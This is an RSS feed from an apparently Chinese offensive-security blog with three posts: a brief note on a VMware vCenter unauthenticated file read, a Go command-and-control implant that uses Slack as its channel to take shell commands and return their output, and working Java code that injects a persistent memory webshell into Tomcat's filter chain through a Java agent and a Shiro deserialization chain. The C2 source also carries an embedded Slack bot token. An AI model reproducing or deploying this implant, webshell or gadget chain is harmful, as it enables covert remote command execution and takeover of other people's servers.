<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Y4er &#8211; ChaBug安全</title>
	<atom:link href="/author/Y4er/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Wed, 14 Oct 2020 01:09:08 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>VMware vCenter未授权任意文件读取</title>
		<link>/web/1999.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 14 Oct 2020 01:09:08 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[文件读取]]></category>
		<guid isPermaLink="false">/?p=1999</guid>

					<description><![CDATA[我们在VMware vCenter中发现了一个未经身份验证的任意文件读取漏洞。 VMware透露此漏洞已在6.5u1中修复，但未分配CVE。 We found an Unauthe...]]></description>
										<content:encoded><![CDATA[<p>我们在<span class="wpcom_tag_link"><a href="/tags/vmware" title="VMware" target="_blank">VMware</a></span> vCenter中发现了一个未经身份验证的任意<span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96" title="文件读取" target="_blank">文件读取</a></span>漏洞。 VMware透露此漏洞已在6.5u1中修复，但未分配CVE。<br />
<a class="wp-editor-md-post-content-link" href="https://i.loli.net/2020/10/14/YNdJ5ZegzbRrWoh.jpg"><img src="https://i.loli.net/2020/10/14/YNdJ5ZegzbRrWoh.jpg" alt="" /></a></p>
<blockquote class="twitter-tweet" data-width="500" data-dnt="true">
<p lang="en" dir="ltr">We found an Unauthenticated Arbitrary File Read vulnerability in VMware vCenter. VMware revealed that this vulnerability was patched in 6.5u1, but no CVE was assigned.</p>
<p>The PoC ⬇️ <a href="https://t.co/LfvbyBUhF5">pic.twitter.com/LfvbyBUhF5</a></p>
<p>&mdash; PT SWARM (@ptswarm) <a href="https://twitter.com/ptswarm/status/1316016337550938122?ref_src=twsrc%5Etfw">October 13, 2020</a></p></blockquote>
<p><script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>golang利用slack编写C2</title>
		<link>/web/1926.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 03 Oct 2020 16:36:04 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[C2]]></category>
		<category><![CDATA[golang]]></category>
		<category><![CDATA[Slack]]></category>
		<guid isPermaLink="false">/?p=1926</guid>

					<description><![CDATA[最近在学golang，恰好看到demon分析的golang slack c2，便想着自己也来写一写。 配置slack 注册账号什么的就不说了。访问 https://api.slac...]]>/</description>
										<content:encoded><![CDATA[<p>最近在学<span class="wpcom_tag_link"><a href="/tags/golang" title="golang" target="_blank">golang</a></span>，恰好看到demon分析的golang slack c2，便想着自己也来写一写。</p>
<h1>配置slack</h1>
<p>注册账号什么的就不说了。访问 https://api.slack.com/ 点击 <code>Start Building</code><br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/dc3e5b61-4384-6b3c-0bf6-3c850bcd4716.png" alt="image.png" /></p>
<p>创建一个app<br />
<img src="/wp-content/uploads/2020/10/ea267bba-e73e-0625-3680-b40a02c7c70f.png" alt="image.png" /></p>
<p>左侧<code>OAuth &amp; Permissions</code> -> <code>Scopes</code> 配置token权限，暂时先配置两个，之后用哪个再加。</p>
<p><img src="/wp-content/uploads/2020/10/aea99b7f-6fed-a6f8-079b-bf48c2667ac6.png" alt="image.png" /></p>
<p>然后往上翻点<code>Install App to Workspace</code></p>
<p><img src="/wp-content/uploads/2020/10/697544f1-e014-6fb9-8504-173932481567.png" alt="image.png" /></p>
<p>点allow，然后会自动跳转到token界面，记住这个token。</p>
<p><img src="/wp-content/uploads/2020/10/84e2a010-7c5f-0bfa-9a48-970282378400.png" alt="image.png" /></p>
<pre><code class="language-text line-numbers">xoxb-1413293450689-1403506559507-aWLcahb6cGLZWGHF61QPV17S
</code></pre>
<p>创建一个channel<br />
<img src="/wp-content/uploads/2020/10/fade1c37-c2f2-2a59-4786-b8bdd3ed7f9b.png" alt="image.png" /></p>
<p>记住你的channel链接<code>https://app.slack.com/client/T01C58MD8L9/C01BS6GEUJH</code>中的<code>C01BS6GEUJH</code><br />
<img src="/wp-content/uploads/2020/10/eb1412aa-4741-2fcd-e50f-9ab3f5117882.png" alt="image.png" /></p>
<p>通过 <code>/invite @myslackbot</code>把bot加到频道里。</p>
<p>然后在<code>https://api.slack.com/methods</code>是操作bot的所有api，先用<code>https://api.slack.com/methods/conversations.history/test</code>测试下获取聊天记录</p>
<p>配置好token和channel ID<br />
<img src="/wp-content/uploads/2020/10/5281e9f3-f145-d07d-e334-367dc2fd3bc9.png" alt="image.png" /></p>
<p>点test之后获取到聊天记录<br />
<img src="/wp-content/uploads/2020/10/cd6fd11a-84fa-eb73-a34b-4baa8f4d36b1.png" alt="image.png" /></p>
<p><img src="/wp-content/uploads/2020/10/b68b1d1c-37b9-40f9-e99a-82cefdd50251.png" alt="image.png" /></p>
<p>简单的流程知道了，接下来通过golang来操作api，以及编写我们的<span class="wpcom_tag_link"><a href="/tags/c2" title="C2" target="_blank">C2</a></span>。</p>
<h1>golang编写</h1>
<pre><code class="language-go line-numbers">package main

import (
    "fmt"
    "github.com/tidwall/gjson"
    "io/ioutil"
    "net/http"
    "os"
    "os/exec"
    "strings"
    "time"
)

const (
    History_api = "https://slack.com/api/conversations.history"
    PostMessage = "https://slack.com/api/chat.postMessage"
    Token       = "xoxb-1413293450689-1403506559507-aWLcahb6cGLZWGHF61QPV17S"
    Channel     = "C01BS6GEUJH"
)

func main() {
    for true {
        time.Sleep(time.Second * 10)
        result := getHistory()
        if strings.HasPrefix(result.Str, "shell") {
            cmdRes := ExecCommand(strings.Split(result.Str, " ")[1])
            putRes(cmdRes)
        } else if strings.HasPrefix(result.Str, "exit") {
            os.Exit(0)
        } else {
            fmt.Println("no command")
        }
    }
}

func getHistory() (result gjson.Result) {
    req, err := http.NewRequest("GET", History_api, nil)
    if err != nil {
        return gjson.Result{}
    }
    q := req.URL.Query()
    q.Add("token", Token)
    q.Add("channel", Channel)
    q.Add("pretty", "1")
    q.Add("limit", "1")
    req.URL.RawQuery = q.Encode()

    resp, err := http.DefaultClient.Do(req)
    if err != nil {
        return gjson.Result{}
    }
    defer resp.Body.Close()
    byte, _ := ioutil.ReadAll(resp.Body)
    result = gjson.GetBytes(byte, "messages.0.text")
    return
}

func putRes(res string) {
    req, err := http.NewRequest("POST", PostMessage, nil)
    if err != nil {
        return
    }
    p := req.URL.Query()
    p.Add("token", Token)
    p.Add("channel", Channel)
    p.Add("pretty", "1")
    p.Add("text", res)
    req.URL.RawQuery = p.Encode()
    resp, err := http.DefaultClient.Do(req)
    defer resp.Body.Close()
    if err != nil {
        return
    }

}

func ExecCommand(command string) (out string) {
    cmd := exec.Command(command)
    o, err := cmd.CombinedOutput()

    if err != nil {
        out = fmt.Sprintf("shell run error: n%sn", err)
    } else {
        out = fmt.Sprintf("combined out:n%sn", string(o))
    }
    return
}
</code></pre>
<p>看下效果</p>
<p>https://www.bilibili.com/video/BV1uk4y1C7oP/</p>
<p>自己偷偷摸摸实现了很多功能，就不放了，通过slack的API可以做很多事情。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Java Agent实现反序列化注入内存shell</title>
		<link>/audit/1920.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 01 Oct 2020 14:43:33 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[内存shell]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1920</guid>

					<description><![CDATA[简述内存shell Java内存shell有很多种，大致分为： 动态注册servlet 动态注册filter 动态注册listener 基于Java agent拦截修改关键类字节码...]]></description>
										<content:encoded><![CDATA[<h1>简述<span class="wpcom_tag_link"><a href="/tags/%e5%86%85%e5%ad%98shell" title="内存shell" target="_blank">内存shell</a></span></h1>
<p>Java内存<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>有很多种，大致分为：</p>
<ol>
<li>动态注册servlet</li>
<li>动态注册filter</li>
<li>动态注册listener</li>
<li>基于Java <span class="wpcom_tag_link"><a href="/tags/agent" title="agent" target="_blank">agent</a></span>拦截修改关键类字节码实现内存shell</li>
</ol>
<p>前三种方法在 <a class="wp-editor-md-post-content-link" href="https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w">《JSP Webshell那些事 &#8212; 攻击篇(下)》</a> 一文中均有讲解，但是前三种方法均需要对中间件大量调试，反射调用一步一步的链条，对于大型中间件比如weblogic这种比较麻烦，无法实现一套代码通用。</p>
<p>那么本文将要讲解的最后一种方法，通过拦截修改关键类的字节码，只需要寻找到关键类做处理即可，进而最大程度实现一套代码通用（理论上）。</p>
<h1>简单认识Java Agent</h1>
<p>在jdk的rt.jar包中存在一个<code><span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.lang.instrument</code>包，该包提供了一些工具帮助开发人员在 Java 程序运行时，动态修改系统中的 Class 类型。其中，使用该软件包的一个关键组件就是 Javaagent。从名字上看，似乎是个 Java 代理之类的，而实际上，他的功能更像是一个Class 类型的转换器，他可以在运行时接受重新外部请求，对Class类型进行修改。</p>
<p>Javaagent是java命令的一个参数。参数 javaagent 可以用于指定一个 jar 包，并且对该 java 包有2个要求：<br />
1. 这个 jar 包的 <code>MANIFEST.MF</code> 文件必须指定 <code>Premain-Class</code> 项。<br />
2. <code>Premain-Class</code> 指定的那个类必须实现 premain() 方法。</p>
<p>JVM启动时会优先加载agent里面的东西，我们写一个简单的agent来看一下。</p>
<p>项目结构</p>
<pre><code class="language-bash line-numbers">└───src
    └───org
        └───chabug
                Agent.java
                DefineTransformer.java
</code></pre>
<p>org.chabug.Agent.java</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.Instrumentation;

public class Agent {
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("agentArgs : " + agentArgs);
        inst.addTransformer(new DefineTransformer(), true);
    }
}
</code></pre>
<p>org.chabug.DefineTransformer.java</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class&lt;?&gt; classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println("premain load Class:" + className);
        return new byte[0];
    }
}
</code></pre>
<p>然后配置打包文件<code>srcMETA-INFMANIFEST.MF</code></p>
<pre><code class="language-yaml line-numbers">Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: org.chabug.Agent

</code></pre>
<p>idea打包为jar文件之后，创建一个新的类<code>org.chabug.Main</code>测试agent</p>
<pre><code class="language-java line-numbers">package org.chabug;

public class Main {
    public static void main(String[] args) {
        System.out.println("thisismain");
    }
}
</code></pre>
<p>idea设置运行时vm参数<code>-javaagent:outartifactsTestAgent_jarTestAgent.jar</code><br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/aabc9058-b9af-8553-d97b-974d8bcc5a82.png" alt="image.png" /></p>
<p>运行结果</p>
<pre><code class="language-text line-numbers">agentArgs : null
premain load Class:java/util/concurrent/ConcurrentHashMap$ForwardingNode
premain load Class:sun/misc/URLClassPath$JarLoader$2
premain load Class:java/util/jar/Attributes
premain load Class:java/util/jar/Manifest$FastInputStream
premain load Class:java/lang/StringCoding
premain load Class:java/lang/StringCoding$StringDecoder
premain load Class:java/util/jar/Attributes$Name
premain load Class:sun/misc/ASCIICaseInsensitiveComparator
premain load Class:com/intellij/rt/execution/application/AppMainV2$Agent
premain load Class:com/intellij/rt/execution/application/AppMainV2
premain load Class:com/intellij/rt/execution/application/AppMainV2$1
premain load Class:java/lang/reflect/InvocationTargetException
premain load Class:java/lang/NoSuchMethodException
premain load Class:java/net/Socket
premain load Class:java/net/InetSocketAddress
premain load Class:java/net/SocketAddress
premain load Class:java/net/InetAddress
premain load Class:java/net/InetSocketAddress$InetSocketAddressHolder
premain load Class:sun/security/action/GetBooleanAction
premain load Class:java/lang/invoke/MethodHandleImpl
premain load Class:java/net/InetAddress$1
premain load Class:java/lang/invoke/MethodHandleImpl$1
premain load Class:java/lang/invoke/MethodHandleImpl$2
premain load Class:java/util/function/Function
premain load Class:java/net/InetAddress$InetAddressHolder
premain load Class:java/net/InetAddress$Cache
premain load Class:java/net/InetAddress$Cache$Type
premain load Class:java/net/InetAddressImplFactory
premain load Class:java/lang/invoke/MethodHandleImpl$3
premain load Class:java/lang/invoke/MethodHandleImpl$4
premain load Class:java/lang/ClassValue
premain load Class:java/net/Inet6AddressImpl
premain load Class:java/lang/ClassValue$Entry
premain load Class:java/net/InetAddressImpl
premain load Class:java/lang/ClassValue$Identity
premain load Class:java/lang/ClassValue$Version
premain load Class:java/lang/invoke/MemberName$Factory
premain load Class:java/net/InetAddress$2
premain load Class:java/lang/invoke/MethodHandleStatics
premain load Class:sun/net/spi/nameservice/NameService
premain load Class:java/lang/invoke/MethodHandleStatics$1
premain load Class:java/net/Inet4Address
premain load Class:java/net/SocksSocketImpl
premain load Class:java/net/SocksConsts
premain load Class:sun/misc/PostVMInitHook
premain load Class:java/net/PlainSocketImpl
premain load Class:sun/misc/PostVMInitHook$2
premain load Class:java/net/AbstractPlainSocketImpl
premain load Class:jdk/internal/util/EnvUtils
premain load Class:sun/misc/PostVMInitHook$1
premain load Class:java/net/SocketImpl
premain load Class:java/net/SocketOptions
premain load Class:sun/usagetracker/UsageTrackerClient
premain load Class:java/net/AbstractPlainSocketImpl$1
premain load Class:java/util/concurrent/atomic/AtomicBoolean
premain load Class:sun/usagetracker/UsageTrackerClient$1
premain load Class:java/net/PlainSocketImpl$1
premain load Class:sun/usagetracker/UsageTrackerClient$4
premain load Class:sun/misc/FloatingDecimal
premain load Class:sun/usagetracker/UsageTrackerClient$2
premain load Class:sun/misc/FloatingDecimal$ExceptionalBinaryToASCIIBuffer
premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIConverter
premain load Class:sun/usagetracker/UsageTrackerClient$3
premain load Class:sun/misc/FloatingDecimal$BinaryToASCIIBuffer
premain load Class:sun/misc/FloatingDecimal$1
premain load Class:sun/misc/FloatingDecimal$PreparedASCIIToBinaryBuffer
premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryConverter
premain load Class:sun/misc/FloatingDecimal$ASCIIToBinaryBuffer
premain load Class:java/net/DualStackPlainSocketImpl
premain load Class:java/lang/StringCoding$StringEncoder
premain load Class:java/net/Inet6Address
premain load Class:java/io/FileOutputStream$1
premain load Class:java/net/Inet6Address$Inet6AddressHolder
premain load Class:sun/launcher/LauncherHelper
premain load Class:java/net/SocksSocketImpl$3
premain load Class:sun/nio/cs/MS1252
premain load Class:java/net/ProxySelector
premain load Class:sun/nio/cs/SingleByte
premain load Class:sun/net/spi/DefaultProxySelector
premain load Class:sun/nio/cs/SingleByte$Decoder
premain load Class:sun/net/spi/DefaultProxySelector$1
premain load Class:sun/net/NetProperties
premain load Class:sun/net/NetProperties$1
premain load Class:org/chabug/Main
premain load Class:sun/launcher/LauncherHelper$FXHelper
premain load Class:java/util/Properties$LineReader
premain load Class:java/lang/Class$MethodArray
premain load Class:java/lang/Void
thisismain
premain load Class:java/lang/Shutdown
premain load Class:java/net/URI
premain load Class:java/lang/Shutdown$Lock
</code></pre>
<p>可以看到agent的<code>org.chabug.Agent#premain</code>优于Main方法而先被运行，并且在<code>org.chabug.DefineTransformer#transform</code>获取到了JVM加载的类。</p>
<p>那么思路回到内存shell的思路中，如果我们把这个agent加载到jvm中，那么就可以通过javassist进行字节码插桩，修改tomcat的filter实现类，从而实现内存马。</p>
<p>现在的问题就在于：</p>
<ol>
<li>javassist 应该修改哪个关键类？</li>
<li>如何指定运行时tomcat的<code>-javaagent</code>参数？</li>
<li>如何修改tomcat运行后已经加载的类？</li>
<li>如何通过<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>注入</li>
</ol>
<h1>寻找关键类</h1>
<p>tomcat filter内存shell有无数的分析文章，其中大部分都提到了一个关键类<code>org.apache.catalina.core.ApplicationFilterChain#doFilter</code><br />
<img src="/wp-content/uploads/2020/10/02f7b000-46b4-ebb6-208c-fbc57bd4fab2.png" alt="image.png" /></p>
<p>该方法有ServletRequest和ServletResponse两个参数，里面封装了请求的request和response。另外，internalDoFilter方法是自定义filter的入口，如果在这里拦截，那么filter既通用，又不影响正常业务。</p>
<p>来写agent</p>
<pre><code class="language-java line-numbers">package org.chabug;

import java.lang.instrument.Instrumentation;

public class MyAgent {
    // tomcat FilterChain
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String args, Instrumentation inst) throws Exception {
        inst.addTransformer(new MyTransformer(), true);
        Class[] loadedClasses = inst.getAllLoadedClasses();

        for (int i = 0; i &lt; loadedClasses.length; ++i) {
            Class clazz = loadedClasses[i];
            if (clazz.getName().equals(ClassName)) {
                try {
                    inst.retransformClasses(new Class[]{clazz});
                } catch (Exception var9) {
                    var9.printStackTrace();
                }
            }
        }
//        System.out.println("agent done");
    }

    public static void premain(String args, Instrumentation inst) throws Exception {

    }
}
</code></pre>
<p>定义transform</p>
<pre><code class="language-java line-numbers">package org.chabug;

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class&lt;?&gt; aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace('/', '.');

        if (className.equals(ClassName)) {
//            System.out.println(":::::::::::::::::::find shiro ApplicationFilterChain:" + className);
            ClassPool cp = ClassPool.getDefault();
            if (aClass != null) {
                ClassClassPath classPath = new ClassClassPath(aClass);
                cp.insertClassPath(classPath);
            }
            CtClass cc;
            try {
                cc = cp.get(className);
                CtMethod m = cc.getDeclaredMethod("doFilter");
                m.insertBefore(" javax.servlet.ServletRequest req = request;n" +
                        "            javax.servlet.ServletResponse res = response;" +
                        "String cmd = req.getParameter("cmd");n" +
                        "if (cmd != null) {n" +
                        "Process process = Runtime.getRuntime().exec(cmd);n" +
                        "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(n" +
                        "new java.io.InputStreamReader(process.getInputStream()));n" +
                        "StringBuilder stringBuilder = new StringBuilder();n" +
                        "String line;n" +
                        "while ((line = bufferedReader.readLine()) != null) {n" +
                        "stringBuilder.append(line + '\n');n" +
                        "}n" +
                        "res.getOutputStream().write(stringBuilder.toString().getBytes());n" +
                        "res.getOutputStream().flush();n" +
                        "res.getOutputStream().close();n" +
                        "}");
                byte[] byteCode = cc.toBytecode();
                cc.detach();
                return byteCode;
            } catch (NotFoundException | IOException | CannotCompileException e) {
                e.printStackTrace();
//                System.out.println("error:::::::::::::::::::::" + e.getMessage());
            }
        }

        return new byte[0];
    }
}
</code></pre>
<h1>如何指定<code>-javaagent</code>参数</h1>
<p>tomcat运行前我们无法控制命令行参数，但是运行时JVM提供了<code>com.sun.tools.attach.VirtualMachine</code>的api，可以通过这个类attach jvm，然后通过<code>loadAgent()</code>函数把agent加载进去。</p>
<p>然后在这里又碰到了坑，<code>com.sun.tools.attach.VirtualMachine</code>这个类是JDK的<code>C:Program FilesJavajdk1.8.0_251libtools.jar</code>包中，在tomcat运行时是jre环境，获取不到这个类。我的办法是通过URLClassLoader加载<code>java.home</code>拼接出来的jar包路径，然后反射获取类和方法。</p>
<p>实现代码</p>
<pre><code class="language-java line-numbers">package org.chabug;

public class Main {
    public static void main(String[] args) throws Exception {
        if (args.length == 0) {
            return;
        }
        String agentPath = args[0];
        try {
            java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");
            java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();
            java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});
            add.setAccessible(true);
            add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});
            Class&lt;?&gt; MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Class&lt;?&gt; MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
            java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", new java.lang.Class[]{});
            java.util.List&lt;Object&gt; invoke = (java.util.List&lt;Object&gt;) list.invoke(null, new Object[]{});
//            System.out.println(invoke);

            for (int i = 0; i &lt; invoke.size(); i++) {
                Object o = invoke.get(i);
                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", new Class[]{});
                Object name = displayName.invoke(o, new Object[]{});
                System.out.println(String.format("find jvm process name:[[[" +
                        "%s" +
                        "]]]", name.toString()));
                if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {
                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});
                    Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});
                    java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});
                    loadAgent.invoke(machine, new Object[]{agentPath});
                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", new Class[]{});
                    detach.invoke(machine, new Object[]{});
                    System.out.println("inject tomcat done, break.");
                    System.out.println("check url http://localhost:8080/?cmd=whoami");
                    break;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>运行这个类，传入agentPath就可以注入agent了。</p>
<p>在这里还碰到一个坑:<code>VirtualMachine.list()</code>获取为空，后来发现双击tomcat的startup.bat启动，在jconsole中也找不到jvm进程，然后一顿乱试发现通过命令行运行startup.bat就可以了。</p>
<h1>如何修改tomcat运行后已经加载的类</h1>
<p>其实这个问题在上面写agent的时候已经解决了，关键代码</p>
<pre><code class="language-java line-numbers">Class[] loadedClasses = inst.getAllLoadedClasses();

for (int i = 0; i &lt; loadedClasses.length; ++i) {
    Class clazz = loadedClasses[i];
    if (clazz.getName().equals(ClassName)) {
        try {
            inst.retransformClasses(new Class[]{clazz});
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>通过<code>Instrumentation</code>的<code>getAllLoadedClasses()</code>就能拿到tomcat运行后已经加载的类，再通过<code>retransformClasses()</code>重新转换下就可以了。</p>
<h1>如何通过反序列化注入</h1>
<p>我这里是shiro550 tomcat9的环境，根据 https://github.com/feihong-cs/ShiroExploit 的ysoserial工具抠出来CC10的链条，改了改。</p>
<pre><code class="language-java line-numbers">package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

// 依赖 commons-collections:commons-collections:3.2.1
// 依赖于 ysoserial javassist
public class CC10 {

    static {
        System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    }

    public static Object createTemplatesImpl(String command) throws Exception {
        return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }

    public static &lt;T&gt; T createTemplatesImpl(String agentPath, Class&lt;T&gt; tplClass, Class&lt;?&gt; abstTranslet, Class&lt;?&gt; transFactory) throws Exception {
        T templates = tplClass.newInstance();
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = String.format(
                "        try {n" +
                        "java.io.File toolsJar = new java.io.File(System.getProperty("java.home").replaceFirst("jre", "lib") + java.io.File.separator + "tools.jar");n" +
                        "java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();n" +
                        "java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod("addURL", new java.lang.Class[]{java.net.URL.class});n" +
                        "add.setAccessible(true);n" +
                        "            add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});n" +
                        "Class/*&lt;?&gt;*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");n" +
                        "            Class/*&lt;?&gt;*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");" +
                        "java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod("list", null);n" +
                        "            java.util.List/*&lt;Object&gt;*/ invoke = (java.util.List/*&lt;Object&gt;*/) list.invoke(null, null);" +
                        "for (int i = 0; i &lt; invoke.size(); i++) {" +
                        "Object o = invoke.get(i);n" +
                        "                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName", null);n" +
                        "                Object name = displayName.invoke(o, null);n" +
                        "if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {" +
                        "                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{MyVirtualMachineDescriptor});n" +
                        "                    Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});n" +
                        "                    java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", new Class[]{String.class});n" +
                        "                    loadAgent.invoke(machine, new Object[]{"%s"});n" +
                        "                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);n" +
                        "                    detach.invoke(machine, null);n" +
                        "                    break;n" +
                        "}" +
                        "}" +
                        "} catch (Exception e) {n" +
                        "            e.printStackTrace();n" +
                        "        }"
                , agentPath.replaceAll("\\", "\\\\").replaceAll(""", "\""));

        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
        byte[] classBytes = clazz.toBytecode();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

    public static String classAsFile(Class&lt;?&gt; clazz) {
        return classAsFile(clazz, true);
    }

    public static String classAsFile(Class&lt;?&gt; clazz, boolean suffix) {
        String str;
        if (clazz.getEnclosingClass() == null) {
            str = clazz.getName().replace(".", "/");
        } else {
            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
        }

        if (suffix) {
            str = str + ".class";
        }

        return str;
    }

    public static byte[] classAsBytes(Class&lt;?&gt; clazz) {
        try {
            byte[] buffer = new byte[1024];
            String file = classAsFile(clazz);
            InputStream in = CC10.class.getClassLoader().getResourceAsStream(file);
            if (in == null) {
                throw new IOException("couldn't find '" + file + "'");
            } else {
                ByteArrayOutputStream out = new ByteArrayOutputStream();

                int len;
                while ((len = in.read(buffer)) != -1) {
                    out.write(buffer, 0, len);
                }

                return out.toByteArray();
            }
        } catch (IOException var6) {
            throw new RuntimeException(var6);
        }
    }


    public static void main(String[] args) throws Exception {
        // this is your agent path
